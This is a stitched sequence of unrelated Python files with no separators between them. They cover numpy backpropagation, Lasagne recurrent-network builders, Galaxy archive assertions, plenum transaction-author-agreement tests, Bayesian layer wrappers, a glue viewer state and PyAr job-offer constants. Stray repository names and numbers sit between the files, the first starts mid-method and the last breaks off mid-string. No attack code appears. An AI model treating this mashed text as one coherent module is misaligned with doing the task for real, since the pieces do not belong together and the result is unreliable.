"sigmoid": self.relu = None self.lrelu = None self.sigmoid = 1.0 / (1 + np.exp(-self.wpb)) return self.sigmoid elif self.activation_function == "lrelu": self.relu = None self.sigmoid = None self.lrelu_cons = 0.01 self.lrelu = np.where(self.wpb > 0, self.wpb, self.lrelu_cons * self.wpb) return self.lrelu def loss(self, yt): if self.loss_function == "mse": self.abserr = None self.err = yt.reshape((self.nb_of_input, 1)) - self.wpb2.reshape((self.nb_of_input, 1)) self.errsqr = self.err**2 return self.errsqr elif self.loss_function == "mae": self.errsqr = None self.err = yt.reshape((self.nb_of_input, 1)) - self.wpb2.reshape((self.nb_of_input, 1)) self.abserr = np.abs(self.err) return self.abserr def backward_loss(self): if self.loss_function == "mse": derr = (2 * self.err) dyt = 1 * derr self.dwpb2 = -1 * derr return self.dwpb2 elif self.loss_function == "mae": derr = np.where(self.err > 0, 1, -1) dyt = 1 * derr self.dwpb2 = -1 * derr return self.dwpb2 def backward_hidden_activation(self): if self.activation_function == "relu": self.dwpb = np.where(self.wpb > 0, 1 * self.dact, 0) return self.dwpb elif self.activation_function == "sigmoid": self.dwpb = ((1 - self.sigmoid) * self.sigmoid) * self.dact return self.dwpb elif self.activation_function == "lrelu": self.dwpb = np.where(self.wpb > 0, 1 * self.dact, self.lrelu_cons * self.dact) return self.dwpb def backward(self, learning_rate): self.dwpb2 = self.backward_loss() dwmr = (1 * self.dwpb2).reshape((self.nb_of_input, 1, 1)) db2 = 1 * self.dwpb2 dw2 = np.matmul(dwmr, np.transpose(self.act, axes=(0, 2, 1))) self.dact = np.matmul(np.transpose(self.w2), dwmr) self.dwpb = self.backward_hidden_activation() dwmx = 1 * self.dwpb db1 = 1 * self.dwpb dw1 = np.matmul(dwmx, np.transpose(self.x, axes=(0, 2, 1))) dx = np.matmul(np.transpose(self.w1), dwmx) if self.use_momentum: self.v1 = self.momentum_factor * self.v1 - learning_rate * np.mean(dw1, axis=0) self.w1 = self.w1 + self.v1 self.v2 = self.momentum_factor * self.v2 - learning_rate * np.mean(db1, axis=0) self.b1 = self.b1 + self.v2 self.v3 = self.momentum_factor * self.v3 - learning_rate * np.mean(dw2, axis=0) self.w2 = self.w2 + self.v3 self.v4 = self.momentum_factor * self.v4 - learning_rate * np.mean(db2, axis=0) self.b2 = self.b2 + self.v4 else: self.w1 = self.w1 - learning_rate * np.mean(dw1, axis=0) self.b1 = self.b1 - learning_rate * np.mean(db1, axis=0) self.w2 = self.w2 - learning_rate * np.mean(dw2, axis=0) self.b2 = self.b2 - learning_rate * np.mean(db2, axis=0) __author__ = 'max' import lasagne import lasagne.nonlinearities as nonlinearities from lasagne.layers import Gate from lasagne_nlp.networks.crf import CRFLayer from lasagne_nlp.networks.highway import HighwayDenseLayer def build_BiRNN(incoming, num_units, mask=None, grad_clipping=0, nonlinearity=nonlinearities.tanh, precompute_input=True, dropout=True, in_to_out=False): # construct the forward and backward rnns. Now, Ws are initialized by He initializer with default arguments. # Need to try other initializers for specific tasks. # dropout for incoming if dropout: incoming = lasagne.layers.DropoutLayer(incoming, p=0.5) rnn_forward = lasagne.layers.RecurrentLayer(incoming, num_units, mask_input=mask, grad_clipping=grad_clipping, nonlinearity=nonlinearity, precompute_input=precompute_input, W_in_to_hid=lasagne.init.GlorotUniform(), W_hid_to_hid=lasagne.init.GlorotUniform(), name='forward') rnn_backward = lasagne.layers.RecurrentLayer(incoming, num_units, mask_input=mask, grad_clipping=grad_clipping, nonlinearity=nonlinearity, precompute_input=precompute_input, W_in_to_hid=lasagne.init.GlorotUniform(), W_hid_to_hid=lasagne.init.GlorotUniform(), backwards=True, name='backward') # concatenate the outputs of forward and backward RNNs to combine them. concat = lasagne.layers.concat([rnn_forward, rnn_backward], axis=2, name="bi-rnn") # dropout for output if dropout: concat = lasagne.layers.DropoutLayer(concat, p=0.5) if in_to_out: concat = lasagne.layers.concat([concat, incoming], axis=2) # the shape of BiRNN output (concat) is (batch_size, input_length, 2 * num_hidden_units) return concat def build_BiLSTM(incoming, num_units, mask=None, grad_clipping=0, precompute_input=True, peepholes=False, dropout=True, in_to_out=False): # construct the forward and backward rnns. Now, Ws are initialized by Glorot initializer with default arguments. # Need to try other initializers for specific tasks. # dropout for incoming if dropout: incoming = lasagne.layers.DropoutLayer(incoming, p=0.5) ingate_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1)) outgate_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1)) # according to Jozefowicz et al.(2015), init bias of forget gate to 1. forgetgate_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1), b=lasagne.init.Constant(1.)) # now use tanh for nonlinear function of cell, need to try pure linear cell cell_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=None, nonlinearity=nonlinearities.tanh) lstm_forward = lasagne.layers.LSTMLayer(incoming, num_units, mask_input=mask, grad_clipping=grad_clipping, nonlinearity=nonlinearities.tanh, peepholes=peepholes, precompute_input=precompute_input, ingate=ingate_forward, outgate=outgate_forward, forgetgate=forgetgate_forward, cell=cell_forward, name='forward') ingate_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1)) outgate_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1)) # according to Jozefowicz et al.(2015), init bias of forget gate to 1. forgetgate_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1), b=lasagne.init.Constant(1.)) # now use tanh for nonlinear function of cell, need to try pure linear cell cell_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=None, nonlinearity=nonlinearities.tanh) lstm_backward = lasagne.layers.LSTMLayer(incoming, num_units, mask_input=mask, grad_clipping=grad_clipping, nonlinearity=nonlinearities.tanh, peepholes=peepholes, precompute_input=precompute_input, backwards=True, ingate=ingate_backward, outgate=outgate_backward, forgetgate=forgetgate_backward, cell=cell_backward, name='backward') # concatenate the outputs of forward and backward RNNs to combine them. concat = lasagne.layers.concat([lstm_forward, lstm_backward], axis=2, name="bi-lstm") # dropout for output if dropout: concat = lasagne.layers.DropoutLayer(concat, p=0.5) if in_to_out: concat = lasagne.layers.concat([concat, incoming], axis=2) # the shape of BiRNN output (concat) is (batch_size, input_length, 2 * num_hidden_units) return concat def build_BiGRU(incoming, num_units, mask=None, grad_clipping=0, precompute_input=True, dropout=True, in_to_out=False): # construct the forward and backward grus. Now, Ws are initialized by Glorot initializer with default arguments. # Need to try other initializers for specific tasks. # dropout for incoming if dropout: incoming = lasagne.layers.DropoutLayer(incoming, p=0.5) # according to Jozefowicz et al.(2015), init bias of forget gate to 1. resetgate_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1), b=lasagne.init.Constant(1.)) updategate_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1)) # now use tanh for nonlinear function of hidden gate hidden_forward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=None, nonlinearity=nonlinearities.tanh) gru_forward = lasagne.layers.GRULayer(incoming, num_units, mask_input=mask, grad_clipping=grad_clipping, precompute_input=precompute_input, resetgate=resetgate_forward, updategate=updategate_forward, hidden_update=hidden_forward, name='forward') # according to Jozefowicz et al.(2015), init bias of forget gate to 1. resetgate_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1), b=lasagne.init.Constant(1.)) updategate_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=lasagne.init.Uniform(range=0.1)) # now use tanh for nonlinear function of hidden gate hidden_backward = Gate(W_in=lasagne.init.GlorotUniform(), W_hid=lasagne.init.GlorotUniform(), W_cell=None, nonlinearity=nonlinearities.tanh) gru_backward = lasagne.layers.GRULayer(incoming, num_units, mask_input=mask, grad_clipping=grad_clipping, precompute_input=precompute_input, backwards=True, resetgate=resetgate_backward, updategate=updategate_backward, hidden_update=hidden_backward, name='backward') # concatenate the outputs of forward and backward GRUs to combine them. concat = lasagne.layers.concat([gru_forward, gru_backward], axis=2, name="bi-gru") # dropout for output if dropout: concat = lasagne.layers.DropoutLayer(concat, p=0.5) if in_to_out: concat = lasagne.layers.concat([concat, incoming], axis=2) # the shape of BiRNN output (concat) is (batch_size, input_length, 2 * num_hidden_units) return concat def build_BiRNN_CNN(incoming1, incoming2, num_units, mask=None, grad_clipping=0, nonlinearity=nonlinearities.tanh, precompute_input=True, num_filters=20, dropout=True, in_to_out=False): # first get some necessary dimensions or parameters conv_window = 3 _, sent_length, _ = incoming2.output_shape # dropout before cnn? if dropout: incoming1 = lasagne.layers.DropoutLayer(incoming1, p=0.5) # construct convolution layer cnn_layer = lasagne.layers.Conv1DLayer(incoming1, num_filters=num_filters, filter_size=conv_window, pad='full', nonlinearity=lasagne.nonlinearities.tanh, name='cnn') # infer the pool size for pooling (pool size should go through all time step of cnn) _, _, pool_size = cnn_layer.output_shape # construct max pool layer pool_layer = lasagne.layers.MaxPool1DLayer(cnn_layer, pool_size=pool_size) # reshape the layer to match rnn incoming layer [batch * sent_length, num_filters, 1] --> [batch, sent_length, num_filters] output_cnn_layer = lasagne.layers.reshape(pool_layer, (-1, sent_length, [1])) # finally, concatenate the two incoming layers together. incoming = lasagne.layers.concat([output_cnn_layer, incoming2], axis=2) return build_BiRNN(incoming, num_units, mask=mask, grad_clipping=grad_clipping, nonlinearity=nonlinearity, precompute_input=precompute_input, dropout=dropout, in_to_out=in_to_out) def build_BiLSTM_CNN(incoming1, incoming2, num_units, mask=None, grad_clipping=0, precompute_input=True, peepholes=False, num_filters=20, dropout=True, in_to_out=False): # first get some necessary dimensions or parameters conv_window = 3 _, sent_length, _ = incoming2.output_shape # dropout before cnn? if dropout: incoming1 = lasagne.layers.DropoutLayer(incoming1, p=0.5) # construct convolution layer cnn_layer = lasagne.layers.Conv1DLayer(incoming1, num_filters=num_filters, filter_size=conv_window, pad='full', nonlinearity=lasagne.nonlinearities.tanh, name='cnn') # infer the pool size for pooling (pool size should go through all time step of cnn) _, _, pool_size = cnn_layer.output_shape # construct max pool layer pool_layer = lasagne.layers.MaxPool1DLayer(cnn_layer, pool_size=pool_size) # reshape the layer to match lstm incoming layer [batch * sent_length, num_filters, 1] --> [batch, sent_length, num_filters] output_cnn_layer = lasagne.layers.reshape(pool_layer, (-1, sent_length, [1])) # finally, concatenate the two incoming layers together. incoming = lasagne.layers.concat([output_cnn_layer, incoming2], axis=2) return build_BiLSTM(incoming, num_units, mask=mask, grad_clipping=grad_clipping, peepholes=peepholes, precompute_input=precompute_input, dropout=dropout, in_to_out=in_to_out) def build_BiGRU_CNN(incoming1, incoming2, num_units, mask=None, grad_clipping=0, precompute_input=True, num_filters=20, dropout=True, in_to_out=False): # first get some necessary dimensions or parameters conv_window = 3 _, sent_length, _ = incoming2.output_shape # dropout before cnn? if dropout: incoming1 = lasagne.layers.DropoutLayer(incoming1, p=0.5) # construct convolution layer cnn_layer = lasagne.layers.Conv1DLayer(incoming1, num_filters=num_filters, filter_size=conv_window, pad='full', nonlinearity=lasagne.nonlinearities.tanh, name='cnn') # infer the pool size for pooling (pool size should go through all time step of cnn) _, _, pool_size = cnn_layer.output_shape # construct max pool layer pool_layer = lasagne.layers.MaxPool1DLayer(cnn_layer, pool_size=pool_size) # reshape the layer to match lstm incoming layer [batch * sent_length, num_filters, 1] --> [batch, sent_length, num_filters] output_cnn_layer = lasagne.layers.reshape(pool_layer, (-1, sent_length, [1])) # finally, concatenate the two incoming layers together. incoming = lasagne.layers.concat([output_cnn_layer, incoming2], axis=2) return build_BiGRU(incoming, num_units, mask=mask, grad_clipping=grad_clipping, precompute_input=precompute_input, dropout=dropout, in_to_out=in_to_out) def build_BiLSTM_CNN_CRF(incoming1, incoming2, num_units, num_labels, mask=None, grad_clipping=0, precompute_input=True, peepholes=False, num_filters=20, dropout=True, in_to_out=False): bi_lstm_cnn = build_BiLSTM_CNN(incoming1, incoming2, num_units, mask=mask, grad_clipping=grad_clipping, precompute_input=precompute_input, peepholes=peepholes, num_filters=num_filters, dropout=dropout, in_to_out=in_to_out) return CRFLayer(bi_lstm_cnn, num_labels, mask_input=mask) def build_BiLSTM_HighCNN(incoming1, incoming2, num_units, mask=None, grad_clipping=0, precompute_input=True, peepholes=False, num_filters=20, dropout=True, in_to_out=False): # first get some necessary dimensions or parameters conv_window = 3 _, sent_length, _ = incoming2.output_shape # dropout before cnn if dropout: incoming1 = lasagne.layers.DropoutLayer(incoming1, p=0.5) # construct convolution layer cnn_layer = lasagne.layers.Conv1DLayer(incoming1, num_filters=num_filters, filter_size=conv_window, pad='full', nonlinearity=lasagne.nonlinearities.tanh, name='cnn') # infer the pool size for pooling (pool size should go through all time step of cnn) _, _, pool_size = cnn_layer.output_shape # construct max pool layer pool_layer = lasagne.layers.MaxPool1DLayer(cnn_layer, pool_size=pool_size) # reshape the layer to match highway incoming layer [batch * sent_length, num_filters, 1] --> [batch * sent_length, num_filters] output_cnn_layer = lasagne.layers.reshape(pool_layer, ([0], -1)) # dropout after cnn? # if dropout: # output_cnn_layer = lasagne.layers.DropoutLayer(output_cnn_layer, p=0.5) # construct highway layer highway_layer = HighwayDenseLayer(output_cnn_layer, nonlinearity=nonlinearities.rectify) # reshape the layer to match lstm incoming layer [batch * sent_length, num_filters] --> [batch, sent_length, number_filters] output_highway_layer = lasagne.layers.reshape(highway_layer, (-1, sent_length, [1])) # finally, concatenate the two incoming layers together. incoming = lasagne.layers.concat([output_highway_layer, incoming2], axis=2) return build_BiLSTM(incoming, num_units, mask=mask, grad_clipping=grad_clipping, peepholes=peepholes, precompute_input=precompute_input, dropout=dropout, in_to_out=in_to_out) def build_BiLSTM_HighCNN_CRF(incoming1, incoming2, num_units, num_labels, mask=None, grad_clipping=0, precompute_input=True, peepholes=False, num_filters=20, dropout=True, in_to_out=False): bi_lstm_cnn = build_BiLSTM_HighCNN(incoming1, incoming2, num_units, mask=mask, grad_clipping=grad_clipping, precompute_input=precompute_input, peepholes=peepholes, num_filters=num_filters, dropout=dropout, in_to_out=in_to_out) return CRFLayer(bi_lstm_cnn, num_labels, mask_input=mask) beatrizserrano/galaxy0 import io import re import tarfile import tempfile import zipfile from typing import Optional from galaxy.util import asbool from ._util import _assert_presence_number def _extract_from_tar(bytes, fn): with io.BytesIO(bytes) as temp: with tarfile.open(fileobj=temp, mode="r") as tar_temp: ti = tar_temp.getmember(fn) # zip treats directories like empty files. # so make this consistent for tar if ti.isdir(): return "" with tar_temp.extractfile(fn) as member_fh: return member_fh.read() def _list_from_tar(bytes, path): lst = list() with io.BytesIO(bytes) as temp: with tarfile.open(fileobj=temp, mode="r") as tar_temp: for fn in tar_temp.getnames(): if not re.match(path, fn): continue lst.append(fn) return sorted(lst) def _extract_from_zip(bytes, fn): with io.BytesIO(bytes) as temp: with zipfile.ZipFile(temp, mode="r") as zip_temp: with zip_temp.open(fn) as member_fh: return member_fh.read() def _list_from_zip(bytes, path): lst = list() with io.BytesIO(bytes) as temp: with zipfile.ZipFile(temp, mode="r") as zip_temp: for fn in zip_temp.namelist(): if not re.match(path, fn): continue lst.append(fn) return sorted(lst) def assert_has_archive_member( output_bytes, path, verify_assertions_function, children, all="false", n: Optional[int] = None, delta: int = 0, min: Optional[int] = None, max: Optional[int] = None, negate: bool = False, ): """Recursively checks the specified children assertions against the text of the first element matching the specified path found within the archive. Currently supported formats: .zip, .tar, .tar.gz.""" all = asbool(all) extract_foo = None # from python 3.9 is_tarfile supports file like objects then we do not need # the tempfile detour but can use io.BytesIO(output_bytes) with tempfile.NamedTemporaryFile() as tmp: tmp.write(output_bytes) tmp.flush() if zipfile.is_zipfile(tmp.name): extract_foo = _extract_from_zip list_foo = _list_from_zip elif tarfile.is_tarfile(tmp.name): extract_foo = _extract_from_tar list_foo = _list_from_tar assert extract_foo is not None, f"Expected path '{path}' to be an archive" # get list of matching file names in archive and check against n, delta, # min, max (slightly abusing the output and text as well as the function # parameters) fns = list_foo(output_bytes, path) _assert_presence_number( None, path, n, delta, min, max, negate, lambda o, t: len(fns) > 0, lambda o, t: len(fns), "{expected} path '{text}' in archive", "{expected} {n}+-{delta} matches for path '{text}' in archive", "{expected} that the number of matches for path '{text}' in archive is in [{min}:{max}]", ) # check sub-assertions on members matching path for fn in fns: contents = extract_foo(output_bytes, fn) try: verify_assertions_function(contents, children) except AssertionError as e: raise AssertionError(f"Archive member '{path}': {str(e)}") if not all: break """ Example of using VLFaceDetector """ import pprint from lunavl.sdk.image_utils.image import VLImage from lunavl.sdk.luna_faces import VLFaceDetector from resources import EXAMPLE_O def estimateAll(): """ Estimate all attributes """ detector = VLFaceDetector() image = VLImage.load(filename=EXAMPLE_O) detection = detector.detectOne(image) pprint.pprint(detection.basicAttributes.asDict()) pprint.pprint(detection.emotions.asDict()) pprint.pprint(detection.warpQuality.asDict()) pprint.pprint(detection.eyes.asDict()) pprint.pprint(detection.gaze.asDict()) pprint.pprint(detection.headPose.asDict()) pprint.pprint(detection.mouthState.asDict()) pprint.pprint(detection.ags) pprint.pprint(detection.descriptor.asDict()) pprint.pprint(detection.liveness.asDict()) pprint.pprint(detection.orientationMode.name) if __name__ == "__main__": estimateAll() 0 # Step 1: Make all the "turtle" commands available to us. import turtle # Step 2: create a new turtle, we'll call him simon simon = turtle.Turtle() # Lets draw a square! for loop in range(4): simon.forward(200) simon.left(90) 100-1000 from common.serializers.serialization import config_state_serializer from plenum.common.constants import AML_VERSION, AML, AML_CONTEXT, DOMAIN_LEDGER_ID, CONFIG_LEDGER_ID from plenum.server.request_handlers.utils import VALUE, encode_state_value, is_trustee from plenum.server.request_managers.write_request_manager import WriteRequestManager from plenum.test.txn_author_agreement.helper import get_aml_req_handler def test_state_path_taa_latest(): assert WriteRequestManager._state_path_taa_latest() == b'2:latest' def test_state_path_taa_version(): assert WriteRequestManager._state_path_taa_version('some_version') == b'2:v:some_version' def test_state_path_taa_digest(): assert WriteRequestManager._state_path_taa_digest('some_digest') == b'2:d:some_digest' def test_taa_digest(): assert WriteRequestManager._taa_digest('some_text', 'some_version') == \ "fb2ea9d28380a021ec747c442d62a68952b4b5813b45671098ad2b684b2f4646" def test_state_path_taa_aml_latest(): assert WriteRequestManager._state_path_taa_aml_latest() == b'3:latest' def test_state_path_taa_aml_version(): assert WriteRequestManager._state_path_taa_aml_version('some_version') == b'3:v:some_version' def test_is_trustee(txnPoolNodeSet, sdk_wallet_trustee, sdk_wallet_steward, sdk_wallet_client): aml_req_handler = get_aml_req_handler(txnPoolNodeSet[0]) state = aml_req_handler.database_manager.get_database(DOMAIN_LEDGER_ID).state assert is_trustee(state, sdk_wallet_trustee[1]) assert not is_trustee(state, sdk_wallet_steward[1]) assert not is_trustee(state, sdk_wallet_client[1]) def test_add_txn_author_agreement(taa_handler, write_manager, taa_input_data, taa_expected_state_data, taa_expected_digests ): """ `update_txn_author_agreement` updates state properly """ state = write_manager.database_manager.get_state(CONFIG_LEDGER_ID) written = [] def _check_state(version): digest = taa_expected_digests[version] _digest = state.get( WriteRequestManager._state_path_taa_version(version), isCommitted=False ) _data = state.get( WriteRequestManager._state_path_taa_digest(digest), isCommitted=False ) if version in written: assert _digest == digest.encode() assert ( config_state_serializer.deserialize(_data) == taa_expected_state_data[version] ) else: assert _digest is None assert _data is None for data in taa_input_data: # TODO: Use separate ratification time from txn_time taa_handler._add_taa_to_state(data.digest, data.seq_no, data.txn_time, data.text, data.version, data.txn_time) written.append(data.version) digest = taa_expected_digests[data.version] assert state.get( WriteRequestManager._state_path_taa_latest(), isCommitted=False ) == digest.encode() for version in taa_expected_state_data: _check_state(version) def test_get_taa_digest(taa_handler, write_manager, taa_input_data, taa_expected_data, taa_expected_digests ): """ `get_taa_digest` returns expected value """ written = [] for data in taa_input_data: taa_handler._add_taa_to_state(data.digest, data.seq_no, data.txn_time, data.text, data.version, data.txn_time) written.append(data.version) assert ( write_manager.get_taa_digest(isCommitted=False) == taa_expected_digests[data.version] ) for version in taa_expected_data: digest = write_manager.get_taa_digest( version=version, isCommitted=False) assert ( digest == (taa_expected_digests[version] if version in written else None) ) def test_get_taa_data(taa_handler, write_manager, taa_input_data, taa_expected_data, taa_expected_digests ): """ `get_taa_data` returns expected value """ written = [] for data in taa_input_data: # TODO: Use separate ratification time from txn_time taa_handler._add_taa_to_state(data.digest, data.seq_no, data.txn_time, data.text, data.version, data.txn_time) written.append(data.version) assert ( write_manager.get_taa_data(isCommitted=False) == (taa_expected_data[data.version], taa_expected_digests[data.version]) ) for version in taa_expected_data: expected = ( (taa_expected_data[version], taa_expected_digests[version]) if version in written else None ) assert ( expected == write_manager.get_taa_data(version=version, isCommitted=False) ) assert ( expected == write_manager.get_taa_data( digest=taa_expected_digests[version], version='any-version-since-ignored', isCommitted=False ) ) def test_update_taa_aml(taa_aml_handler, taa_aml_input_data, taa_handler, write_manager, taa_aml_expected_state_data, taa_aml_expected_data): """ `update_txn_author_agreement` updates state properly """ state = write_manager.database_manager.get_state(CONFIG_LEDGER_ID) written = [] def _check_state(version): expected_data = taa_aml_expected_data[version] _data = state.get( WriteRequestManager._state_path_taa_aml_version(version), isCommitted=False ) if version in written: assert (config_state_serializer.deserialize(_data)[VALUE] == config_state_serializer.deserialize(expected_data)) else: assert _data is None for data in taa_aml_input_data: taa_aml_handler._update_txn_author_agreement_acceptance_mechanisms( {AML_VERSION: data.version, AML: data.aml, AML_CONTEXT: data.amlContext}, data.seq_no, data.txn_time) written.append(data.version) data_d = data._asdict() assert state.get( WriteRequestManager._state_path_taa_aml_latest(), isCommitted=False) == encode_state_value({AML_CONTEXT: data_d[AML_CONTEXT], AML: data_d[AML], AML_VERSION: data_d[AML_VERSION] }, data_d['seq_no'], data_d['txn_time']) for version in taa_aml_expected_state_data: _check_state(version) EnjoyLifeFund/macHighSierra-py36-pkgs from .filepool import FilePool from .shared_file import SharedFile from .shared_filepool import SharedFilePool import functools import inspect import six import lasagne.layers.base import pymc3 as pm from pymc3.memoize import hashable from gelato.specs.dist import get_default_spec, FlatSpec from gelato.specs.base import DistSpec __all__ = [ 'LayerModelMeta', 'Layer', 'MergeLayer', 'bayes' ] class LayerModelMeta(pm.model.InitContextMeta): """Magic comes here """ def __init__(cls, what, bases, dic): from gelato.layers.helper import find_parent super(LayerModelMeta, cls).__init__(what, bases, dic) # make flexible property for new class def fget(self): if self._name is None: return '{}_{}'.format(self.__class__.__name__, self._fingerprint) else: return self._name def fset(self, value): if not value: self._name = None else: self._name = str(value) cls._name = None cls.name = property(fget, fset) # wrap init for new class def wrap_init(__init__): @functools.wraps(__init__) def wrapped(self, *args, **kwargs): name = kwargs.get('name') self._fingerprint = hashable(self.parent) pm.Model.__init__(self, name) __init__(self, *args, **kwargs) return wrapped # wrap new for new class def wrap_new(__new__): @functools.wraps(__new__) def wrapped(_cls_, *args, **kwargs): parent = kwargs.get('model', None) if parent is None and not issubclass(_cls_, lasagne.layers.InputLayer): incoming = kwargs.get('incoming', kwargs.get('incomings', args[1])) parent = find_parent(incoming) kwargs['model'] = parent instance = __new__(_cls_, *args, **kwargs) return instance return classmethod(wrapped) cls.__init__ = wrap_init(cls.__init__) cls.__new__ = wrap_new(cls.__new__) def add_param(self, spec, shape, name=None, **tags): if tags.get('trainable', True): if tags.get('regularizable', True): if not isinstance(spec, DistSpec): # here spec is like test value # passed to pymc3 distribution spec = getattr(self, 'default_spec', get_default_spec(spec)) else: spec = FlatSpec() if name is not None: spec = spec.with_name(name) return lasagne.layers.base.Layer.add_param( self, spec, shape, **tags) cls.add_param = add_param # needed for working with lasagne tools def wrap_getitem(__getitem__): @functools.wraps(__getitem__) def wrapped(self, item): if not isinstance(item, six.string_types): raise TypeError('%r object accepts only string keys' % self.__class__) else: __getitem__(self, item) return wrapped cls.__getitem__ = wrap_getitem(cls.__getitem__) def __repr__(self): return '{}.{}'.format(self.__module__, self.__name__) @classmethod def __subclasshook__(cls, C): if lasagne.layers.Layer in C.__mro__ or pm.Model in C.__mro__: return True else: return False def bayes(layercls, stack=1): try: issubcls = issubclass(layercls, lasagne.layers.base.Layer) except TypeError: raise TypeError('{} needs to be a Layer subclass' .format(layercls)) if issubcls: if type(layercls) is LayerModelMeta: raise TypeError('{} is already bayesian' .format(layercls)) else: @six.add_metaclass(LayerModelMeta) class BayesianAnalog(layercls, pm.Model): pass frm = inspect.stack()[stack] mod = inspect.getmodule(frm[0]) if mod is None: modname = '__main__' else: modname = mod.__name__ BayesianAnalog.__module__ = modname BayesianAnalog.__doc__ = layercls.__doc__ BayesianAnalog.__name__ = layercls.__name__ return BayesianAnalog else: raise TypeError('{} needs to be a Layer subclass' .format(layercls)) Layer = bayes(lasagne.layers.base.Layer) MergeLayer = bayes(lasagne.layers.base.MergeLayer) import logging logger = logging.getLogger(__name__) def handleColor(client, userdata, msg): logger.debug("Color: " + msg.topic + " " + str(msg.payload)) def handleGyro(client, userdata, msg): logger.debug("Gyro: " + msg.topic + " " + str(msg.payload)) aniisabihi/glue-openspace0 from __future__ import absolute_import, division, print_function from glue.external.echo import (CallbackProperty, SelectionCallbackProperty, keep_in_sync) from glue.viewers.common.state import LayerState __all__ = ['OpenSpaceLayerState'] class OpenSpaceLayerState(LayerState): layer = CallbackProperty() color = CallbackProperty() size = CallbackProperty() alpha = CallbackProperty() size_mode = SelectionCallbackProperty(default_index=0) color_mode = SelectionCallbackProperty(default_index=0) cmap_mode = color_mode def __init__(self, layer=None, **kwargs): self._sync_markersize = None super(OpenSpaceLayerState, self).__init__(layer=layer) self._sync_color = keep_in_sync(self, 'color', self.layer.style, 'color') self._sync_alpha = keep_in_sync(self, 'alpha', self.layer.style, 'alpha') self._sync_size = keep_in_sync(self, 'size', self.layer.style, 'markersize') self.color = self.layer.style.color self.size = self.layer.style.markersize self.alpha = self.layer.style.alpha OpenSpaceLayerState.color_mode.set_choices(self, ['Fixed']) OpenSpaceLayerState.size_mode.set_choices(self, ['Fixed']) self.update_from_dict(kwargs) def _layer_changed(self): super(OpenSpaceLayerState, self)._layer_changed() if self._sync_markersize is not None: self._sync_markersize.stop_syncing() if self.layer is not None: self.size = self.layer.style.markersize self._sync_markersize = keep_in_sync(self, 'size', self.layer.style, 'markersize') joboffers/constants.py from django.utils.translation import gettext as _ ADD_URL = 'joboffers:add' ADMIN_URL = 'joboffers:admin' VIEW_URL = 'joboffers:view' LIST_URL = 'joboffers:list' APPROVE_URL = 'joboffers:approve' DEACTIVATE_URL = 'joboffers:deactivate' VIEW_URL = 'joboffers:view' REJECT_URL = 'joboffers:reject' REQUEST_MODERATION_URL = 'joboffers:request_moderation' HISTORY_URL = 'joboffers:history' TRACK_CONTACT_INFO_URL = 'joboffers:track-contact-info-view' ANALYTICS_URL = 'joboffers:analytics' ANALYTICS_CSV_URL = 'joboffers:download-analytics-csv' CODE_ANALYTICS = 'analytics' CODE_CREATE = "create" CODE_EDIT = "edit" CODE_HISTORY = "history" CODE_REJECT = "reject" CODE_REACTIVATE = "reactivate" CODE_DEACTIVATE = "deactivate" CODE_REQUEST_MODERATION = "reqmod" CODE_APPROVE = "approve" CODE_ANALYTICS = 'analytics' ACTION_BUTTONS = { CODE_ANALYTICS: { 'target_url': 'joboffers:analytics', 'text': _('Visualizaciones'), 'css_classes': ['btn-dark-green'], 'icon_class': 'glyphicon-eye-open', 'title': _('Ver las estadísticas de visualizaciones de la oferta.') }, CODE_HISTORY: { 'target_url': 'joboffers:history', 'text': _('Historial'), 'css_classes': ['btn-info'], 'icon_class': 'glyphicon-time' }, CODE_EDIT: { 'target_url': 'joboffers:edit', 'text': _('Editar'), 'css_classes': ['btn-default'], 'icon_class': 'glyphicon-pencil' }, CODE_REJECT: { 'target_url': 'joboffers:reject', 'text': _('Rechazar'), 'css_classes': ['btn-danger'], 'icon_class': 'glyphicon-thumbs-down' }, CODE_REACTIVATE: { 'target_url': 'joboffers:reactivate', 'text': _('Volver a Activar'), 'css_classes': ['btn-default'], 'icon_class': 'glyphicon-arrow-up', 'title': _('No es necesaria la moderación, se activa directamente.') }, CODE_DEACTIVATE: { 'target_url': 'joboffers:deactivate', 'text': _('Desactivar'), 'css_classes': ['btn-warning'], 'icon_class': 'glyphicon-minus-sign', 'title': _( 'Si la oferta está activa es necesario desactivar la oferta para poder editarla' ) }, CODE_REQUEST_MODERATION: { 'target_url': 'joboffers:request_moderation', 'text': _('Confirmar'), 'css_classes': ['btn-success'], 'icon_class': 'glyphicon-eye-open', 'title': _('Al confirmar la oferta se enviará a moderación para que sea revisada.') }, CODE_APPROVE: { 'target_url': 'joboffers:approve', 'text': _('Aprobar'), 'css_classes': ['btn-success'], 'icon_class': 'glyphicon-pencil' } } STATE_LABEL_CLASSES = { 'ACTIVE': 'label-success', 'DEACTIVATED': 'label-danger', 'EXPIRED': 'label-warning', 'MODERATION': 'label-primary', 'NEW': 'label-info', 'REJECTED': 'label-danger', } APPROVED_MAIL_SUBJECT = _('PyAr - Oferta de Trabajo Aprobada') APPROVED_MAIL_BODY = _(""" Le informamos que la oferta que envío a revisión ({title}) ha sido aprobada y ya se encuentra listada en la página y fué replicada en las 